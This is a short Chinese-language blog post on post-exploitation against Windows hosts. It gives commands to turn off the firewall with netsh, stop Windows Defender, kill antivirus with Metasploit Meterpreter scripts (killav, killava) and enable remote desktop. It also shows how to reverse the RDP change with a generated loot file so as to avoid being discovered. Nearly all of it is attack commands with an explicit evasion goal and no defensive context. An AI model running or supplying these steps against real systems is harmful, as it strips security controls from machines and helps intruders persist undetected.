文章前言
好长时间没有更新博客了，多少有点对不住各位，本次更新一篇关于"主机防御服务启停"的文章，希望有用~
关闭防火墙
初始状态：防火墙开启
执行以下命令关闭防火墙：
netsh advfirewall set allprofiles state off //管理员以及以上权限(提权即可)
关闭Denfend
初始状态：启用状态
之后执行以下命令进行关闭：
net stop windefend
关闭杀毒软件
run killav
run post/windows/manage/killava
开启远程桌面
初始状态：远程桌面关闭
run post/windows/manage/enable_rdp
再次查看状态已成功修改为运行远程连接：
之后我们可以利用上面开启远程桌面时生成的文件关闭远程桌面连接，避免被发现：
run multi_console_command -r /root/.msf4/loot/20200918170851_default_192.168.188.3_host.windows.cle_935765.txt
再次查看又变成了